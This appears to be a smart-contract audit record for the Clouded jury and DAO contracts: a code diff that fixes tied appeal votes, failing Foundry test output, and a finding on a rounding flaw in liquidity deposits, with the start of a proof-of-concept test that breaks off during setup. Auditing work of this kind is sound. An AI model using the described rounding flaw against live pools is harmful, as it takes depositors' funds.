     event Challenge(address indexed challenger, uint256 indexed marketId, uint256 indexed tokenId, uint256 marketChallengedTS);
     event ResolveMarket(uint256 indexed marketId, uint256 votingOutcomeId, uint256 resolvedOutcomeId);
     event ClaimCreatorToken(address indexed creator, uint256 indexed marketId, uint256 tokenId);
     event ClaimChallengerReward(address indexed challenger, uint256 indexed marketId, uint256 tokenId, uint256 challengerReward);
     event ClaimJuryReward(address indexed staker, uint256 indexed marketId, uint256 tokenId, uint256 tokenReward);
     event ClaimRewardAfter(address indexed staker, uint256 indexed marketId, bool isMarketOf);
     event Slash(address indexed staker, uint256 indexed marketId, uint256 outcomeId, uint256 tokenId);
     event SendSlashedTokenToDAO(uint256 indexed marketId, uint256 tokens, uint256 tokenValue);
     event PublicLaunch();
 
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public CLOUDED;
     address public DAO;
 
     bool public whitelisted;
 
     // Overall protocol conditions
     string  private uri_;
     string  private baseURI_;
     uint256 private nextTokenId_;
     uint256 private totalSupply_;
     Ids.Set private allOngoingMarketIds_;
     Ids.Set private allResolvedMarketIds_;
     mapping(uint256 => Market) private markets_;
 
     // Staker conditions
     mapping(address => bool) private whitelisted_;
     mapping(address => Ids.Set) private tokenOf_;
     mapping(address => Ids.Set) private marketOf_; // Markets that stakers participate which include staking, creating, challenging
     mapping(uint256 => address) private tokenAddr_; // Staker token address
     mapping(address => mapping(uint256 => Ids.Set)) private marketTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketCreatorTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketChallengerTokenOf_;
     mapping(address => mapping(uint256 => bytes32)) private marketCommitHashOf_;
     mapping(address => mapping(uint256 => bool)) private marketHasRevealedOf_;
     mapping(address => mapping(uint256 => uint256)) private marketOutcomeOf_;
 
     // Staked tokens
     mapping(uint256 => Ids.Set) private marketStakes_; // total stakes in the market excluding creator and challenger tokens
     mapping(uint256 => Ids.Set) private marketJuryStakes_; // total stakes picked as jury
     mapping(uint256 => mapping(uint256 => uint256)) private juryOutcomeCount_;   // The amount of stakes in the jury, in the order of marketId → outcomeId → count
     mapping(uint256 => mapping(uint256 => uint256)) private marketOutcomeCount_; // The amount of stakes in the market
 
     struct Market {
         uint256 creatorTokens;
         uint256 challengerToken;
         uint256 marketRevealedTS;
         uint256 marketChallengedTS;
         uint256 marketReveals;
         uint256 juryOutcome;
         uint256 votingOutcome;
         bytes32 randomNumber;
         bool juryHasSelected;
         bool marketResolved;
         Status status;
     }
 
     enum Status {
         ONGOING, 
         JURY, 
         APPEAL, 
         VOTING, 
         SETTLED
     }
 
     modifier isManager() { if (msg.sender != MANAGER) revert NotAuthorized(); _; }
 
     constructor(string memory _name, string memory _symbol, address _managerAddr) ERC721(_name, _symbol) {
         MANAGER = _managerAddr;
         whitelisted = true;
         nextTokenId_ = 1;
     }
 
     function addToWhitelist(address _addr) external isManager {
         whitelisted_[_addr] = true;
         emit AddToWhitelist(_addr);
     }
 
     function publicLaunch() external isManager { whitelisted = false; emit PublicLaunch(); }
 
     function isWhitelisted(address _addr) external view returns (bool) { return whitelisted_[_addr]; }
 
     function tokenURI(uint256 _tokenId) public view override returns (string memory) {
         _requireOwned(_tokenId);
         return bytes(baseURI_).length > 0 ? baseURI_ : string.concat(uri_, _tokenId.toString());
     }
 
     function updateURI(string memory _newBaseURI, string memory _newURI) external isManager {
         baseURI_ = _newBaseURI;
         uri_ = _newURI;
         emit BatchMetadataUpdate(1, nextTokenId_ - 1);
     }
 
     function updateDAOAddr(address _daoAddr) external isManager { DAO = _daoAddr; }
 
     function updateCloudedAddr(address _cloudedAddr) external isManager { CLOUDED = _cloudedAddr; }
 
     function updateMarketStatus(uint256 _marketId) external returns (uint8) { return uint8(_updateMarketStatus(_marketId)); }
 
     function getAllOngoingMarketIds() external view returns (uint256[] memory) { return allOngoingMarketIds_.getAll(); }
 
     function getCurrentCreateMarketPrice() external view returns (uint256) { return _getCurrentCreateMarketPrice(); }
 
     function getResolvedMarkets() external view returns (uint256) { return allResolvedMarketIds_.getLength(); }
 
     function getResolvedMarketIds(uint256 _offset, uint256 _limit) external view returns (uint256[] memory ids) {
         uint256 _totalMarkets = allResolvedMarketIds_.getLength();
         if (_offset >= _totalMarkets || _limit == 0) return new uint256[](0);
 
         uint256 _end   = _totalMarkets - _offset;
         uint256 _count = _end > _limit ? _limit : _end;
 
         ids = new uint256[](_count);
         for (uint256 i = 0; i < _count; i++) { ids[i] = allResolvedMarketIds_.getId(_end - 1 - i); }
     }
 
     function getMarketStoredInfo(uint256 _marketId) external view returns (
         uint256 creatorTokens, 
         uint256 challengerToken, 
         uint256 marketRevealedTS, 
         uint256 marketChallengedTS, 
         uint256 marketReveals, 
         uint256 juryOutcome, 
         uint256 votingOutcome, 
         bytes32 randomNumber, 
         bool    juryHasSelected, 
         bool    marketResolved
     ) {
         Market storage market = markets_[_marketId];
         creatorTokens      = market.creatorTokens;
         challengerToken    = market.challengerToken;
         marketRevealedTS   = market.marketRevealedTS;
         marketChallengedTS = market.marketChallengedTS;
         marketReveals      = market.marketReveals;
         juryOutcome        = market.juryOutcome;
         votingOutcome      = market.votingOutcome;
         randomNumber       = market.randomNumber;
         juryHasSelected    = market.juryHasSelected;
         marketResolved     = market.marketResolved;
     }
 
     function getMarketDerivedInfo(uint256 _marketId) external view returns (uint256 resolvedOutcome, uint8 status) {
         resolvedOutcome = _getResolvedMarketOutcome(_marketId);
         Status _current = _getMarketStatus(_marketId);
         status = uint8(_current > markets_[_marketId].status ? _current : markets_[_marketId].status);
     }
 
     function getUserTokenIds(address _userAddr) external view returns (uint256[] memory) { return tokenOf_[_userAddr].getAll(); }
 
     function getStakerMarketIds(address _stakerAddr) external view returns (uint256[] memory) { return marketOf_[_stakerAddr].getAll(); }
 
     function getStakerMarketTokenIds(address _stakerAddr, uint256 _marketId) external view returns (uint256[] memory creatorTokenIds, uint256[] memory challengerTokenIds, uint256[] memory stakerTokenIds) {
         creatorTokenIds    = marketCreatorTokenOf_[_stakerAddr][_marketId].getAll();
         challengerTokenIds = marketChallengerTokenOf_[_stakerAddr][_marketId].getAll();
         stakerTokenIds     = marketTokenOf_[_stakerAddr][_marketId].getAll();
     }
 
     function mint(uint256 _amount) external payable nonReentrant {
         if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();
 
         if (_amount == 0) revert ZeroAmount();
 
         uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
         if (msg.value < _mintPrice) revert InsufficientPayment();
 
         for (uint256 i = 0; i < _amount; i++) {
             _mint(msg.sender, nextTokenId_);
             nextTokenId_++;
         }
 
         IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();
 
         uint256 _refund = msg.value - _mintPrice;
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function redeem(uint256[] memory _tokenIds) external nonReentrant {
         uint256 _amount;
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             _burn(_tokenIds[i]);
             _amount++;
         }
 
         if (_amount == 0) revert ZeroAmount();
 
         (bool _success, ) = msg.sender.call{value: _amount * 299 * DECIMALS / 100}("");
         if (!_success) revert RefundFailed();
     }
 
     function stake(uint256 _marketId, uint256[] memory _tokenIds, bytes32 _commitHash) external nonReentrant {
         if (_commitHash == 0) revert NoCommitHash();
         if (_tokenIds.length == 0) revert NoTokenSelected();
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         uint256 _tokenId;
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _tokenId = _tokenIds[i];
             if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
             marketStakes.add(_tokenId);
             marketTokenOf.add(_tokenId);
             tokenAddr_[_tokenId] = msg.sender;
             _update(address(this), _tokenId, msg.sender);
             emit Stake(msg.sender, _marketId, _tokenId);
         }
         marketOf_[msg.sender].add(_marketId);
         marketCommitHashOf_[msg.sender][_marketId] = _commitHash;
         emit StakeAfter(msg.sender, _marketId, marketStakes.getLength());
     }
 
     function unstake(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (!marketTokenOf.isSet(_tokenIds[i])) revert NotStakedByOwner(_tokenIds[i]);
             marketStakes.remove(_tokenIds[i]);
             _unstake(_marketId, _tokenIds[i]);
         }
         if (marketTokenOf.getLength() == 0) delete marketCommitHashOf_[msg.sender][_marketId];
         if (marketCreatorTokenOf_[msg.sender][_marketId].getLength() == 0 && marketChallengerTokenOf_[msg.sender][_marketId].getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
         emit UnstakeAfter(msg.sender, _marketId, marketStakes.getLength(), marketOf_[msg.sender].isSet(_marketId));
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days, uint256[] memory _tokenIds, uint256 _outcomePosition, uint256 _shares) external payable nonReentrant {
         if (_outcomePosition == 0 || _outcomePosition > _outcomes.length) revert InvalidId();
 
         uint256 _requiredTokenAmount = _getCurrentCreateMarketPrice();
         if (_tokenIds.length < _requiredTokenAmount) revert StakeRequiredAmounts();
 
         uint256 _nextMarketId = IClouded(CLOUDED).nextMarketId();
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             marketCreatorTokenOf_[msg.sender][_nextMarketId].add(_tokenIds[i]);
             _update(address(this), _tokenIds[i], msg.sender);
             emit CreateMarket(msg.sender, _nextMarketId, _tokenIds[i]);
         }
 
         allOngoingMarketIds_.add(_nextMarketId);
         marketOf_[msg.sender].add(_nextMarketId);
         markets_[_nextMarketId].creatorTokens = _tokenIds.length;
 
         uint256[] memory _outcomeIds = IClouded(CLOUDED).createMarket(_name, _rule, _outcomes, _days);
         emit CreateMarketAfter(msg.sender, _nextMarketId, _name, _rule, _outcomeIds, _outcomes, block.timestamp, _days * 1 days);
 
         uint256 _outcomeId = _outcomeIds[_outcomePosition - 1];
         _creatorBuy(_nextMarketId, _outcomeId, _shares);
     }
 
     function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
         if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
         if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
         marketHasRevealedOf_[msg.sender][_marketId] = true;
 
         bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
         if (_commitHash == 0) revert NoCommitHash();
         if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
         marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;
 
         Market storage market = markets_[_marketId];
         market.randomNumber   = market.randomNumber ^ _salt;
 
         market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
         if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;
 
         uint256 _winningOutcomeId;
         uint256 _winningOutcomeCount;
         uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
         marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
         for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
             if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                 _winningOutcomeId    = _marketOutcomeIds[i];
                 _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
             }
         }
         market.juryOutcome = _winningOutcomeId;
 
         emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
     }
 
     function selectJury(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
 
         if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
         markets_[_marketId].juryHasSelected = true;
 
         uint256 _attempt;
         Ids.Set storage marketStakes = marketStakes_[_marketId];
         uint256 _totalStakedTokens   = marketStakes.getLength();
         uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
         while (_attempt < _jurySet) {
             uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
             marketStakes.swap(_attempt, _position);
 
             uint256 _tokenId        = marketStakes.getId(_attempt);
             address _tokenOwner     = tokenAddr_[_tokenId];
             uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
             if (_tokenOutcomeId != 0) {
                 marketJuryStakes_[_marketId].add(_tokenId);
                 juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
                 emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
             }
 
             _attempt++;
         }
     }
 
     // Challenge can only be made once every market. 
     // The token will be rewarded if the voters also agree with the same outcome, 
     // but will be slashed for being wrong.
     function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
         if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
 
         Market storage market = markets_[_marketId];
         if (!market.juryHasSelected) revert JurySelected(false);
         if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
         market.marketChallengedTS = block.timestamp;
         market.challengerToken++;
 
         marketOf_[msg.sender].add(_marketId);
         marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);
 
         _update(address(this), _tokenId, msg.sender);
 
         emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
     }
 
     function resolveMarket(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
 
         Market storage market = markets_[_marketId];
         if (market.marketResolved) revert MarketResolved(true);
         market.marketResolved = true;
 
         allOngoingMarketIds_.remove(_marketId);
         allResolvedMarketIds_.add(_marketId);
 
         bool _isMarketChallenged = market.marketChallengedTS != 0;
         if (_isMarketChallenged) {
             uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
             uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
             for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
             market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
         }
 
         uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
         _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
 
         emit ResolveMarket(_marketId, market.votingOutcome, _resolvedOutcomeId);
     }
 
     function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
         if (!markets_[_marketId].marketResolved) revert MarketResolved(false);
 
         uint256 _currentTokenId;
         uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
         uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
         (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
         Market  storage market                  = markets_[_marketId];
         Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _currentTokenId = _tokenIds[i];
 
             if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }
 
             if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                 if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                     _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                     if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                 } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                 continue;
             }
 
             if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller
 
             if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }
 
             if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                 if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                 else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
             }
 
             _unstake(_marketId, _currentTokenId);
 
             uint256 _tokenReward;
             if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
 
             emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
         }
 
         if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
 
         emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
     }
 
     function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }
 
     function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
         address from = super._update(_to, _tokenId, _auth);
 
         if (from == address(0)) totalSupply_++;
         if (_to == address(0)) totalSupply_--;
 
         if (from != address(0)) tokenOf_[from].remove(_tokenId);
         if (_to != address(0)) tokenOf_[_to].add(_tokenId);
 
         return from;
     }
 
     function _updateMarketStatus(uint256 _marketId) private returns (Status) {
         if (_marketId == 0 || _marketId >= IClouded(CLOUDED).nextMarketId()) revert InvalidId();
         Market storage market = markets_[_marketId];
         Status _currentMarketStatus = _getMarketStatus(_marketId);
         if (_currentMarketStatus > market.status) market.status = _currentMarketStatus;
         return market.status;
     }
 
     function _getMarketStatus(uint256 _marketId) private view returns (Status) {
         (uint256 _startAt, uint256 _daysOf) = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         uint256 _marketEndAt = _startAt + _daysOf;
 
         Market storage market = markets_[_marketId];
         uint256 _currentTimestamp = block.timestamp;
 
         if (_currentTimestamp < _marketEndAt) return Status.ONGOING;
 
         if (market.marketRevealedTS == 0 && _currentTimestamp < _marketEndAt + 1 days) return Status.JURY;
 
         uint256 _challengeStart = market.marketRevealedTS != 0 ? market.marketRevealedTS : _marketEndAt + 1 days;
 
         if (market.marketChallengedTS != 0) return _currentTimestamp >= market.marketChallengedTS + 3 days ? Status.SETTLED : Status.VOTING;
 
         return _currentTimestamp < _challengeStart + 1 days ? Status.APPEAL : Status.SETTLED;
     }
 
     function _creatorBuy(uint256 _nextMarketId, uint256 _outcomeId, uint256 _shares) private {
         uint256 _executionPrice = IClouded(CLOUDED).getPriceAppreciation(_outcomeId, true, _shares);
         if (msg.value < _executionPrice) revert InsufficientPayment();
 
         IClouded(CLOUDED).buy{value: _executionPrice}(msg.sender, _nextMarketId, _outcomeId, _shares, _executionPrice, 0);
 
         if (msg.value - _executionPrice > 0) {
             (bool _success, ) = msg.sender.call{value: msg.value - _executionPrice}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function _unstake(uint256 _marketId, uint256 _tokenId) private {
         marketTokenOf_[msg.sender][_marketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         _update(msg.sender, _tokenId, address(this));
         emit Unstake(msg.sender, _marketId, _tokenId);
     }
 
     function _calculateMarketOutcome(uint256[] memory _marketOutcomeIds, uint256[] memory _marketOutcomes) private pure returns (uint256) {
         uint256 _winningOutcome;
         uint256 _winningAmount;
+        bool _isTied;
         for (uint256 i = 0; i < _marketOutcomes.length; i++) {
             if (_marketOutcomes[i] > _winningAmount) {
                 _winningOutcome = _marketOutcomeIds[i];
                 _winningAmount  = _marketOutcomes[i];
+                _isTied         = false;
+            } else if (_marketOutcomes[i] == _winningAmount && _winningAmount != 0) {
+                _isTied = true;
             }
         }
-        return _winningOutcome;
+        return _isTied ? 0 : _winningOutcome;
     }
 
     function _slash(uint256 _tokenMarketId, uint256 _tokenOutcomeId, uint256 _tokenId) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         marketTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         emit Slash(msg.sender, _tokenMarketId, _tokenOutcomeId, _tokenId);
     }
 
     function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
         (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
         if (_slashedTokens > 0) {
             totalSupply_ -= _slashedTokens;
             IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
             emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
         }
     }
 
     function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
         Market storage market = markets_[_marketId];
         uint256 _juryOutcome              = market.juryOutcome;
         uint256 _marketChallengerToken    = market.challengerToken;
         bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;
 
         slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];
 
         if (_isChallengerTokenSlashed) {
             slashedTokens += _marketChallengerToken;
             _marketChallengerToken = 0;
         }
 
         winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];
 
         slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed
     }
 
     function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
         Market storage market = markets_[_marketId];
         if (!market.marketResolved)    return 0;
         if (market.votingOutcome != 0) return market.votingOutcome;
         if (market.juryOutcome != 0)   return market.juryOutcome;
         return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
     }
 
     function _claimCreatorToken(uint256 _tokenMarketId, uint256 _currentTokenId) private {
         marketCreatorTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
         emit ClaimCreatorToken(msg.sender, _tokenMarketId, _currentTokenId);
     }
 
     function _claimChallengerReward(uint256 _tokenMarketId, uint256 _currentTokenId, uint256 _totalOutcomeStakes) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
 
         uint256 _challengerReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _tokenMarketId, _totalOutcomeStakes);
 
         emit ClaimChallengerReward(msg.sender, _tokenMarketId, _currentTokenId, _challengerReward);
     }
 
     error NotAuthorized();
     error Whitelisted();
     error ZeroAmount();
     error InvalidId();
     error RefundFailed();
     error NoTokenSelected();
     error OutcomeRevealed();
     error WrongCommitHash();
     error NoCommitHash();
     error MarketEnded();
     error MarketNotEnded();
     error JuryWindowEnded();
     error AppealWindowEnded();
     error MarketAlreadyChallenged();
     error NotOwner(uint256 tokenId);
     error NotStakedByOwner(uint256 tokenId);
     error JurySelected(bool selected);
     error MarketResolved(bool resolved);
     error InsufficientPayment();
     error StakeRequiredAmounts();
 }
\ No newline at end of file

Affected files

  • src/CloudedJury.sol
  • CloudedJury.sol

Validation output

[output truncated: 1175 lines & 64.537109375 KB skipped]
Ran 1 test suite in 31.98ms (31.11ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: positive tied appeal selected the first-listed outcome: 0 != 1] test_appealTieResolvesToCreatorOrderedFirstOutcomeInsteadOfFallbacks() (gas: 10112165)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger

Floored LP Equality Accepts Excess Deposits

High#298742Validity: Unreviewed

Comment:

The excess tokens accepted due to floored LP equality are negligible in practice.

Source locations

Uploaded archive/CloudedDAO.sol (2 locations)

Lines 228-246 — _addLiquidity applies the helper's used amounts to reserves and mints only lpAdded._

        uint256 _hypeUsed; uint256 _daoUsed; uint256 _hypeRefund; uint256 _daoRefund;
        (lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
        require(lpAdded > 0 && lpAdded >= _minLpOut, "Insufficient LP minted");

        _updateBuyBackOracle();

        lpOf[msg.sender] += lpAdded;
        totalLP          += lpAdded;
        reserveHYPE      += _hypeUsed;
        reserveDAO       += _daoUsed;

        _update(msg.sender, address(this), _daoUsed);

        if (_hypeRefund > 0) {
            (bool _success, ) = msg.sender.call{value: _hypeRefund}("");
            require(_success, "Refund failed");
        }

        emit AddLiquidity(msg.sender, lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
⋯ code omitted for brevity ⋯

Lines 317-331 — _Independent LP calculations are floored and the equality branch consumes both full inputs._

            uint256 _lpByHype = _hypeAmount * totalLP / reserveHYPE;
            uint256 _lpByDAO  = _daoAmount  * totalLP / reserveDAO;
            lpAdded = _lpByHype < _lpByDAO ? _lpByHype : _lpByDAO;
            if (_lpByHype < _lpByDAO) {
                hypeUsed  = _hypeAmount;
                daoUsed   = _hypeAmount * reserveDAO / reserveHYPE;
                daoRefund = _daoAmount - daoUsed;
            } else if (_lpByDAO < _lpByHype) {
                daoUsed    = _daoAmount;
                hypeUsed   = _daoAmount * reserveHYPE / reserveDAO;
                hypeRefund = _hypeAmount - hypeUsed;
            } else {
                hypeUsed = _hypeAmount;
                daoUsed  = _daoAmount;
            }

Description

_calculateAddLiquidity floors the LP amount implied by each token and then treats equal floored values as an exact-ratio deposit. Two materially different ratios can therefore satisfy _lpByHype == _lpByDAO after truncation, causing the equality branch to set hypeUsed and daoUsed to the full caller inputs rather than refunding the excess side. addLiquidity subsequently increases reserves by both full values while minting only the floored LP amount, so the excess becomes an uncredited donation to existing LP holders. For example, with a pool ratio of 1:1 and an LP-unit scale of 1, inputs of 11 HYPE and 11.9 DAO both floor to 11 LP, but the contract accepts all 11.9 DAO for only 11 LP.

Root cause

The equality branch in _calculateAddLiquidity treats equality of independently truncated LP calculations as equality of the underlying deposit ratios. It must derive used amounts from the selected limiting side, or otherwise refund/deduct any excess whenever the supplied ratios are not exactly matched.

Impact

A liquidity provider can lose the ratio-imbalanced remainder without receiving LP ownership for it, and an LP holder who front-runs or otherwise owns pool shares can capture a pro-rata portion of that donation. The loss is concentrated around truncation boundaries but is repeatable whenever the two floored LP calculations compare equal.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {Clouded} from "../src/Clouded.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

/// @dev Code is etched at CloudedManager's hard-coded governance-token address.
contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }

    function totalSupply() external view returns (uint256) {
        return supply;
    }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;
    address internal admin = makeAddr("manager-admin");
    address internal creator = makeAddr("market-creator");
    address internal trader = makeAddr("trader");
    address internal victimLp = makeAddr("victim-lp");

    CloudedManager internal manager;
    CloudedJury internal jury;
    Clouded internal clouded;
    CloudedDAO internal dao;

    function setUp() public {
        // The production manager has a fixed token address. Etch a minimal ERC20
        // implementation there and give the manager admin 100% voting power.
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        // Deploy order breaks the dependency cycle: manager -> jury -> clouded -> dao;
        // privileged manager calls complete Jury and Manager storage wiring afterwards.
        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        clouded = new Clouded("ipfs://clouded/", address(manager), address(jury));
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), address(clouded));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), address(clouded), address(dao));
        manager.updateCloudedAddr(address(clouded));
        manager.addToWhitelist(creator);
        vm.stopPrank();

